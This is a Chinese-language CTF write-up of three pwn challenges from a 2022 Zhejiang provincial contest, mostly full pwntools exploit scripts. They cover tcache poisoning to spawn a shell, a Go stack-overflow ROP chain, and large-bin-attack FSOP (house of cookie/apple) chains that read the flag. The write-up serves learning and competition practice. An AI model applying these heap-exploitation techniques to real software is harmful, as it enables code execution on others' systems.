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原文链接:2022浙江省赛 PWN题解析
初赛
babyheap
2.27的正常堆题
题目分析
题目限制了add次数,只能add 7次,而且delet存在UAF占位 考虑UAF修改tcache chunk的key,使得无限free同一堆块填满tcache 溢出到UB,然后UAF leak libc 最后 UAF tcache poison 改free_hook 为one_gadget getshell。
成功截图
编辑
exp
- def exp():
- global r
- global libc
- ##r=process('./babyheap')
- r=remote("1.14.97.218",24360)
- libc=ELF("./libc-2.27.so")
-
- ## leak_heap
- add(0x7f)
- add(0x7f)
- ##add(0x7f)
- ##add(0x7f)
- delet(0)
- edit(0,"nameless")
- ##z()
- show(0)
- r.recvuntil("nameless")
- heapbase=u64(r.recv(6).ljust(8,"\x00"))-0x10
- log.success("heapbase:"+hex(heapbase))
-
- ##leak libc
- for i in range(0,7):
- edit(0,p64(0)*2)
- delet(0)
-
- ##z()
- show(0)
- r.recvuntil("\n")
- libcbase=u64(r.recv(6).ljust(8,'\x00'))-0x3ebca0
- log.success("libcbase:"+hex(libcbase))
-
- ## set_libc func
- free_hook=libcbase+libc.sym["__free_hook"]
- system=libcbase+libc.sym["system"]
-
- edit(0,p64(free_hook))
- add(0x7f) ##,"/bin/sh\x00")
- add(0x7f) ##,p64(system))
- edit(3,p64(system))
- edit(0,"/bin/sh\x00")
- ##z()
- delet(0)
- r.interactive()
复制代码
决赛
远程ld治好了的精神内耗
GO-MAZE-v4
一道go语言栈溢出
沙箱 编辑
保护
编辑
调试
发现连main函数入口都没有,简直逆不动(go语言的静态编译导致的elf本身就相当于c的libc,elf,ld等等的合集)。
先简单测试一下,发现wsad分别对应了上下左右,输的话就可以直接走通迷宫:
编辑
然后紧接着应该是一个输入,测试测试有没有栈溢出,发现输入0x180个字节就报错了,并且rbp和rip是能被我们控制的。
编辑
(ps:gdb调试设置好set follow-fork-mode parent和set detach-on-fork on才能不会因为system或exec这类函数卡死)
而且这个二进制文件里面的gadget非常的齐活,直接打ORW就好。
exp
- def up():
- r.sendline("w")
-
- def down():
- r.sendline("s")
-
- def right():
- r.sendline("d")
-
- def exp():
- global r
- global libc
- ##global elf
- r=process('./pwn')
- for i in range(5):
- down()
- for i in range(3):
- right()
- for i in range(3):
- up()
- for i in range(3):
- right()
- up()
- right()
- up()
- up()
- ##z()
-
- ## gadgets
- pop_rdi_ret = 0x4008f6
- pop_rsi_ret = 0x40416f
- pop_rdx_ret = 0x51d4b6
- pop_rax_ret = 0x400a4f
- syscall = 0x4025ab
- leave_ret = 0x4015cb
-
- bss = 0xAD1600+0x500
-
- pd1 = flat(
- pop_rax_ret , 0 , pop_rdi_ret , 0 , pop_rsi_ret , bss , pop_rdx_ret , 0x210 ,
- syscall , leave_ret
- )
-
- ##z()
- r.sendlineafter("flag\x00",0x178*"a" + p64(bss) + pd1)
- flag_addr = bss + 0x200
- pd=flat( 0 , pop_rax_ret , 2 , pop_rdi_ret , flag_addr , pop_rsi_ret , 0 , pop_rdx_ret , 0 ,
- syscall , pop_rax_ret , 0 , pop_rdi_ret , 3 , pop_rsi_ret , flag_addr , pop_rdx_ret , 0x210 ,
- syscall ,pop_rax_ret , 1 , pop_rdi_ret , 1 , pop_rsi_ret , flag_addr , pop_rdx_ret , 0x210 ,
- syscall , 0xdeadbeef
- ).ljust(0x200,"a")+"./flag\x00"
- r.sendline(pd)
- r.interactive()
复制代码
HodgePodge
省赛300分最难pwn题的含金量
版本
2.34魔改(不知道魔改了啥,本地调试的话直接用2204的2.35即可)
沙箱保护
编辑
保护 编辑
ida逆向
看看main:
很直接的菜单,_exit一眼house,但是不知道啥house,看看delet发现有UAF,show和edit都很常规。
而add用的是calloc:
编辑
想到了pig,但是pig打ORW有点不太好打,但是基本能确定large bin attack了。
attack啥呢?我一开始先试试打top_chunk,但是不行,原因是attack最后有一个add大堆块的操作,这个操作会使得top_chunk的地址抬高,覆盖,没办法触发kiwi的链子。于是我现找了一个链子——puts的stdout(真是比赛现找的):
编辑
如果largebin attack劫持stdout为chunk P,并且满足P的pre_size为0x8000(这个可以用空间复用实现),最后rdi就会赋值为P的堆地址。再看看接下来的流程:
编辑
发现这个流程和flash_all_lock_up长得只有那么像了,当rdi+0x30,也就是堆地址+0xc0的位置为0并且堆地址+0xd8(vtable)的位置符合IO的虚表的地址范围,就会跳vtable+0x38的函数。
常用的跳表有三种,pig的IO_str_jumps、emma的IO_cookie_jumps以及apple的IO_wfile_jumps。但是apple当时不会,pig被排除,所以只能试试cookie_jumps,还真成了,在结束前30分钟本地通了。但是。。。这个B玩意要扬fs:0x30,fs就牵扯到ld表,这个玩意本地和远程偏移太不一样了,导致痛失300分。
非预期exp
- # -*- coding: utf-8 -*-
- from platform import libc_ver
- from pwn import *
- from hashlib import sha256
- import base64
- context.log_level='debug'
- #context.arch = 'amd64'
- context.arch = 'amd64'
- context.os = 'linux'
-
- rol = lambda val, r_bits, max_bits: \
- (val << r_bits%max_bits) & (2**max_bits-1) | \
- ((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))
-
- ror = lambda val, r_bits, max_bits: \
- ((val & (2**max_bits-1)) >> r_bits%max_bits) | \
- (val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))
-
- def proof_of_work(sh):
- sh.recvuntil(" == ")
- cipher = sh.recvline().strip().decode("utf8")
- proof = mbruteforce(lambda x: sha256((x).encode()).hexdigest() == cipher, string.ascii_letters + string.digits, length=4, method='fixed')
- sh.sendlineafter("input your ????>", proof)
- ##r=remote("123.57.69.203",7010)0xafa849b09b753ccd
- ##r=process('./sp1',env={"LD_PRELODA":"./libc-2.27.so"})
-
- ##mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
-
- def z():
- gdb.attach(r)
-
- def cho(num):
- r.sendlineafter(">>",str(num))
-
- def add(sz,con):
- cho(1)
- r.sendlineafter("Size:",str(sz))
- r.sendafter("content",con)
- ##r.sendlineafter("idx:",str(idx))
-
- def delet(idx):
- cho(2)
- r.sendlineafter("idx:",str(idx))
-
- def edit(idx,con):
- cho(3)
- r.sendlineafter("idx",str(idx))
- r.sendafter("Content",con)
-
- def show(idx):
- cho(4)
- r.sendlineafter("idx",str(idx))
-
-
- def exp(x):
- global r
- global libc
- ##global elf
- r=remote("1.14.97.218",23023)
- ##r=process('./pwn')
- libc=ELF("./libc.so.6")
-
- ## fengshui
- add(0x418,"nameless")
- add(0x410,"nameless")
- add(0x410,"ymnhymnh")
- add(0x420,"x1ngx1ng")
- add(0x420,"nameless")
- delet(3)
- ##delet(2)
-
- ## leak_libcbase
- ##z()
- show(3)
- r.recvuntil("\n")
- libcbase=u64(r.recv(6).ljust(8,"\x00"))-0x1f2cc0
- log.success("libcbase:"+hex(libcbase))
- add(0x430,"nameless")
-
- ## set_libc_func
- l_main=0x1f30b0+libcbase
- free_hook=libcbase+libc.sym["__free_hook"]
- stdout=libcbase+libc.sym["stdout"]
- IO_str_jumps=libcbase+0x1f3b58-0x38
- fsbase=libcbase-0x28c0+x
- godget=libcbase+0x146020##libcbase+0x1482ba
- setcontext=libcbase+0x50bc0
-
- ## leak_heapbase
- ##z()
- edit(3,"x1ngx1ng"+"nameless")
- ##z()
- show(3)
- r.recvuntil("nameless")
- heapbase=u64(r.recv(6).ljust(8,"\x00"))-0xef0
- log.success("heapbase:"+hex(heapbase))
- key=heapbase+0x6b0
- chunk1=heapbase+0x6b0
- chunk2=heapbase+0xef0
- ##z()
-
- ## set_orw
- open_addr=libcbase+libc.sym['open']
- read_addr=libcbase+libc.sym['read']
- write_addr=libcbase+libc.sym['write']
- pop_rdi_ret=libcbase+0x2daa2
- pop_rsi_ret=libcbase+0x37c0a
- pop_rdx_pop_rbx_ret=libcbase+0x87729
- ret=libcbase+0xecd6c
- flag_addr = key + 0x310
- chain = flat(
- pop_rdi_ret , flag_addr , pop_rsi_ret , 0 , open_addr,
- pop_rdi_ret , 3 , pop_rsi_ret , flag_addr , pop_rdx_pop_rbx_ret , 0x100 , 0 , read_addr,
- pop_rdi_ret , 1 , pop_rsi_ret, flag_addr , pop_rdx_pop_rbx_ret, 0x100 , 0 ,write_addr
- ).ljust(0x100,'\x00') + './flag\x00'
-
-
- ##large bin attack 2 yang point gurad
- edit(3,p64(l_main)*2+p64(heapbase+0xef0)+p64(fsbase+0x30-0x20))
- delet(1)
- ##z()
- add(0x430,"nameless")
- ##z()
- edit(3,p64(chunk1)+p64(l_main)+p64(chunk1)*2)
- edit(1,p64(l_main)+p64(chunk2)*3)
-
- ##z()
- add(0x410,"nameless")
-
- ##large in attack 2 ORW
- edit(3,p64(l_main)*2+p64(heapbase+0xef0)+p64(stdout-0x20))
- pd=0xb0*'a'+p64(0)
- pd=pd.ljust(0xc8,'a')+p64(IO_str_jumps)
- pd=pd.ljust(0xd0,"a")+p64(key+0x100)
- pd=pd.ljust(0xe0,"a")+p64(rol(key ^ godget,0x11,64))
- pd=pd.ljust(0xf8,"a")+p64(key+0x130)
- pd=pd.ljust(0x140,"a")+p64(setcontext+61)
- pd=pd.ljust(0x1c0,"a")+p64(key+0x210)+p64(ret)
- pd=pd.ljust(0x200,"a")+chain
- edit(7,pd)
- delet(7)
- edit(0,0x410*"a"+p64(0x8000))
- ##z()
- cho(1)
- r.sendlineafter("Size:",str(0x430))
- ##r.recvuntil("flag")
- flag="flag{"+r.recvuntil("\x00",drop=True)
- print(flag)
- r.interactive()
-
- if __name__ == '__main__':
- while(1):
- i = -0x1000
- if i == 0x1000 :
- break
- else :
- try :
- exp(i)
- except:
- continue
-
- ##setcontext and orw
- ''''
- orw=p64(r4)+p64(2)+p64(r1)+p64(free_hook+0x28)+p64(syscall)
- orw+=p64(r4)+p64(0)+p64(r1)+p64(3)+p64(r2)+p64(mem)+p64(r3)+p64(0x20)+p64(0)+p64(syscall)
- orw+=p64(r4)+p64(1)+p64(r1)+p64(1)+p64(r2)+p64(mem)+p64(r3)+p64(0x20)+p64(0)+p64(syscall)
- orw+=p64(0xdeadbeef)
- pd=p64(gold_key)+p64(free_hook)
- pd=pd.ljust(0x20,'\x00')+p64(setcontext+61)+'./flag\x00'
- pd=pd.ljust(0xa0,'\x00')+p64(free_hook+0xb0)+orw0xafa849b09b753ccd
- r.sendafter(">>",pd)
- flag=r.recvline()
- '''
-
- ##orw
- '''
- ##[+]: set libc func
- IO_file_jumps=0x1e54c0+libcbase
- IO_helper_jumps=0x1e4980+libcbase
- setcontext=libcbase+libc.sym['setcontext']
- open_addr=libcbase+libc.sym['open']
- read_addr=libcbase+libc.sym['read']
- puts_addr=libcbase+libc.sym['puts']
- pop_rdi_ret=libcbase+0x2858f
- pop_rsi_ret=libcbase+0x2ac3f
- pop_rdx_pop_rbx_ret=libcbase+0x1597d6
- ret=libcbase+0x26699
- ##[+]: large bin attack to reset TLS
- ##z()
- ##edit(4,p64(libcbase+0x1e4230)+)
-
- ##[+]: orw
- flag_addr = heap_base + 0x4770 + 0x100
- chain = flat(
- pop_rdi_ret , flag_addr , pop_rsi_ret , 0 , open_addr,
- pop_rdi_ret , 3 , pop_rsi_ret , flag_addr , pop_rdx_pop_rbx_ret , 0x100 , 0 , read_addr,
- pop_rdi_ret , flag_addr , puts_addr
- ).ljust(0x100,'\x00') + 'flag\x00'
- '''
-
- ##banana
- ## b _dl_fini
- ## pwndbg> distance &_rtld_global &(_rtld_global._dl_ns._ns_loaded->l_next->l_next->l_next)
- '''''
- rop_chain = flat(pop_rdi_ret,bin_sh,ret,system_addr)
- link_4_addr = heap_base + 0xcd0
- fake_link_map = p64(0) + p64(0) + p64(0) + p64(link_4_addr)
- fake_link_map += p64(magic) + p64(ret)
- fake_link_map += p64(0)
- fake_link_map += rop_chain
- fake_link_map = fake_link_map.ljust(0xc8,'\0')
- fake_link_map += p64(link_4_addr + 0x28 + 0x18) # RSP
- fake_link_map += p64(pop_rdi_ret) # RCX RIP
- fake_link_map = fake_link_map.ljust(0x100,'\x00')
- fake_link_map += p64(link_4_addr + 0x10 + 0x110)*0x3
- fake_link_map += p64(0x10)
- fake_link_map = fake_link_map.ljust(0x31C - 0x10,'\x00')
- fake_link_map += p8(0x8)
- edit(1,'\0'*0x520+p64(link_4_addr + 0x20)) ##控prev_data
- edit(2,fake_link_map)
- '''
-
- ##pig
- ## p _IO_flush_all_lockp
- ''''
- heap=heap+0x3b70
- pd=p64(0)*3+p64(0x1c)+p64(0)+p64(heap)+p64(heap+26)
- pd=pd.ljust(0xc8,b'\x00')
- pd+=p64(_IO_str_jumps)
- edit(3,pd)
- '''
复制代码
关于如何获取远程的ld偏移
第一种办法是爆破,参考wjh大佬的博客:https://blog.wjhwjhn.com/archives/593/
第二种是起一个有pwndbg的docker,把题目环境加载进去然后gdb fsbase获取偏移。这个起环境在github上有一个叫PWNdockerAll的项目,是pig007大佬写的,笔者在使用2204的过程中遇到了一点问题,自己鼓捣将install.sh稍作修改,使得它能够支持目前最新的2204版本(pig007大佬写的时候是2.34的2204,不兼容主要是因为python3.10的模块引用问题,那个时候python3.10好像还没出),现也在github上开源:
NSnidie/pwnDockerAll: 通过curl下载python3.10的pip3修复了2.34pip3的高版本module name冲突的bug,并且在容器中添加了ropper、patchelf、glibc-all-in-one等常用pwn题工具 (github.com)
(https://github.com/NSnidie/pwnDockerAll)
预期解——house of apple
apple 常用的是IO_wfile_overflow,期望的是前面执行je。
然后跳转到:
编辑
这里有啥好东西呢?发现有个和io_cookie_jumps一样的东西:
编辑
好家伙,就是只少一个point gurad,直接卡死我300分。
编辑
夜深了,不想再调了,卷Glibc都是精神内耗。
流程1
kiwi触发->malloc_assert->fxprintf->vfxprintf->locked_vfxprintf->vfprintf_internal->apple
这个做法需要一个堆溢出:
UAF+size存数组可实现堆溢出:
假定相邻堆块chunk1和chunk2,chunk2和top_chunk相邻。设定chunk1为0x430大小(题目大小),然后free进UB。add0x410,切割chunk1然后free chunk2,这时候,chunk1就和top_chunk相邻了,而且是0x420大小。由于我们数组存的是0x430大小,所以在edit的时候成功溢出0x10字节。可以改top_chunk的size打kiwi。
流程2
puts触发->apple
exp(针对流程2)
(ps此exp非题目所给libc,题目给的是魔改的2.34版本的libc,我用的2204的libc在本地打的)
- # -*- coding: utf-8 -*-
- from platform import libc_ver
- from pwn import *
- from hashlib import sha256
- import base64
- context.log_level='debug'
- #context.arch = 'amd64'
- context.arch = 'amd64'
- context.os = 'linux'
-
- rol = lambda val, r_bits, max_bits: \
- (val << r_bits%max_bits) & (2**max_bits-1) | \
- ((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))
-
- ror = lambda val, r_bits, max_bits: \
- ((val & (2**max_bits-1)) >> r_bits%max_bits) | \
- (val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))
-
- def proof_of_work(sh):
- sh.recvuntil(" == ")
- cipher = sh.recvline().strip().decode("utf8")
- proof = mbruteforce(lambda x: sha256((x).encode()).hexdigest() == cipher, string.ascii_letters + string.digits, length=4, method='fixed')
- sh.sendlineafter("input your ????>", proof)
- ##r=remote("123.57.69.203",7010)0xafa849b09b753ccd
- ##r=process('./sp1',env={"LD_PRELODA":"./libc-2.27.so"})
-
- ##mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
-
- def z():
- gdb.attach(r)
-
- def cho(num):
- r.sendlineafter(">>",str(num))
-
- def add(sz,con):
- cho(1)
- r.sendlineafter("Size:",str(sz))
- r.sendafter("content",con)
- ##r.sendlineafter("idx:",str(idx))
-
- def delet(idx):
- cho(2)
- r.sendlineafter("idx:",str(idx))
-
- def edit(idx,con):
- cho(3)
- r.sendlineafter("idx",str(idx))
- r.sendafter("Content",con)
-
- def show(idx):
- cho(4)
- r.sendlineafter("idx",str(idx))
-
-
- def exp():
- global r
- global libc
- ##global elf
- r=remote("124.222.96.143",10050)
- ##r=process('./pwn')
- libc=ELF("./libc.so.6")
-
- ## fengshui
- add(0x418,"nameless")
- add(0x410,"nameless")
- add(0x410,"ymnhymnh")
- add(0x420,"x1ngx1ng")
- add(0x420,"nameless")
- delet(3)
- ##delet(2)
-
- ## leak_libcbase
- ##z()
- show(3)
- r.recvuntil("\n")
- libcbase=u64(r.recv(6).ljust(8,"\x00"))-0x219ce0
- log.success("libcbase:"+hex(libcbase))
- add(0x430,"nameless")
-
- ## set_libc_func
- l_main=0x219ce0+libcbase
- free_hook=libcbase+libc.sym["__free_hook"]
- stdout=libcbase+libc.sym["stdout"]
- IO_wfile_jumps=libcbase+0x2160c0-0x20
- fsbase=libcbase-0x28c0
- godget=libcbase+0x1675b0 ##mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
- setcontext=libcbase+0x53a30
-
- ## leak_heapbase
- ##z()
- edit(3,"x1ngx1ng"+"nameless")
- ##z()
- show(3)
- r.recvuntil("nameless")
- heapbase=u64(r.recv(6).ljust(8,"\x00"))-0xef0
- log.success("heapbase:"+hex(heapbase))
- key=heapbase+0x6b0
- chunk1=heapbase+0x6b0
- chunk2=heapbase+0xef0
- ##z()
-
- ## set_orw
- open_addr=libcbase+libc.sym['open']
- read_addr=libcbase+libc.sym['read']
- write_addr=libcbase+libc.sym['write']
- pop_rdi_ret=libcbase+0x2a3e5
- pop_rsi_ret=libcbase+0x2be51
- pop_rdx_pop_rbx_ret=libcbase+0x90529
- ret=libcbase+0xf90e1
- flag_addr = key + 0x300
- chain = flat(
- pop_rdi_ret , flag_addr , pop_rsi_ret , 0 , open_addr,
- pop_rdi_ret , 3 , pop_rsi_ret , flag_addr , pop_rdx_pop_rbx_ret , 0x100 , 0 , read_addr,
- pop_rdi_ret , 1 , pop_rsi_ret, flag_addr , pop_rdx_pop_rbx_ret, 0x100 , 0 ,write_addr
- ).ljust(0x100,'\x00') + './flag\x00'
-
- ##large bin attack 2 apple
- edit(3,p64(l_main)*2+p64(heapbase+0xef0)+p64(stdout-0x20))
- pd=''
- pd=pd.ljust(0x90,"\x00")+p64(key+0xa0)
- pd=pd.ljust(0xb0,'\x00')+p64(0)
- pd=pd.ljust(0xc8,'\x00')+p64(IO_wfile_jumps)
- pd=pd.ljust(0x130,'\x00')+p64(key+0x200)+p64(ret)
- pd=pd.ljust(0x170,'\x00')+p64(key+0x180)
- pd=pd.ljust(0x1d8,'\x00')+p64(setcontext+61)
- pd=pd.ljust(0x1f0,'\x00')+chain
- edit(1,pd)
- delet(1)
- edit(0,0x410*"a"+p64(0x8000))
- ##z()
- cho(1)
- r.sendlineafter("Size:",str(0x430))
- ##r.recvuntil("flag")
- ##flag="flag{"+r.recvuntil("\x00",drop=True)
- ##print(flag)
- r.interactive()
-
- if __name__ == '__main__':
- exp()
-
- ##setcontext and orw
- ''''
- orw=p64(r4)+p64(2)+p64(r1)+p64(free_hook+0x28)+p64(syscall)
- orw+=p64(r4)+p64(0)+p64(r1)+p64(3)+p64(r2)+p64(mem)+p64(r3)+p64(0x20)+p64(0)+p64(syscall)
- orw+=p64(r4)+p64(1)+p64(r1)+p64(1)+p64(r2)+p64(mem)+p64(r3)+p64(0x20)+p64(0)+p64(syscall)
- orw+=p64(0xdeadbeef)
- pd=p64(gold_key)+p64(free_hook)
- pd=pd.ljust(0x20,'\x00')+p64(setcontext+61)+'./flag\x00'
- pd=pd.ljust(0xa0,'\x00')+p64(free_hook+0xb0)+orw0xafa849b09b753ccd
- r.sendafter(">>",pd)
- flag=r.recvline()
- '''
-
- ##orw
- '''
- ##[+]: set libc func
- IO_file_jumps=0x1e54c0+libcbase
- IO_helper_jumps=0x1e4980+libcbase
- setcontext=libcbase+libc.sym['setcontext']
- open_addr=libcbase+libc.sym['open']
- read_addr=libcbase+libc.sym['read']
- puts_addr=libcbase+libc.sym['puts']
- pop_rdi_ret=libcbase+0x2858f
- pop_rsi_ret=libcbase+0x2ac3f
- pop_rdx_pop_rbx_ret=libcbase+0x1597d6
- ret=libcbase+0x26699
- ##[+]: large bin attack to reset TLS
- ##z()
- ##edit(4,p64(libcbase+0x1e4230)+)
-
- ##[+]: orw
- flag_addr = heap_base + 0x4770 + 0x100
- chain = flat(
- pop_rdi_ret , flag_addr , pop_rsi_ret , 0 , open_addr,
- pop_rdi_ret , 3 , pop_rsi_ret , flag_addr , pop_rdx_pop_rbx_ret , 0x100 , 0 , read_addr,
- pop_rdi_ret , flag_addr , puts_addr
- ).ljust(0x100,'\x00') + 'flag\x00'
- '''
-
- ##banana
- ## b _dl_fini
- ## pwndbg> distance &_rtld_global &(_rtld_global._dl_ns._ns_loaded->l_next->l_next->l_next)
- '''''
- rop_chain = flat(pop_rdi_ret,bin_sh,ret,system_addr)
- link_4_addr = heap_base + 0xcd0
- fake_link_map = p64(0) + p64(0) + p64(0) + p64(link_4_addr)
- fake_link_map += p64(magic) + p64(ret)
- fake_link_map += p64(0)
- fake_link_map += rop_chain
- fake_link_map = fake_link_map.ljust(0xc8,'\0')
- fake_link_map += p64(link_4_addr + 0x28 + 0x18) # RSP
- fake_link_map += p64(pop_rdi_ret) # RCX RIP
- fake_link_map = fake_link_map.ljust(0x100,'\x00')
- fake_link_map += p64(link_4_addr + 0x10 + 0x110)*0x3
- fake_link_map += p64(0x10)
- fake_link_map = fake_link_map.ljust(0x31C - 0x10,'\x00')
- fake_link_map += p8(0x8)
- edit(1,'\0'*0x520+p64(link_4_addr + 0x20)) ##控prev_data
- edit(2,fake_link_map)
- '''
-
- ##pig
- ## p _IO_flush_all_lockp
- ''''
- heap=heap+0x3b70
- pd=p64(0)*3+p64(0x1c)+p64(0)+p64(heap)+p64(heap+26)
- pd=pd.ljust(0xc8,b'\x00')
- pd+=p64(_IO_str_jumps)
- edit(3,pd)
- '''
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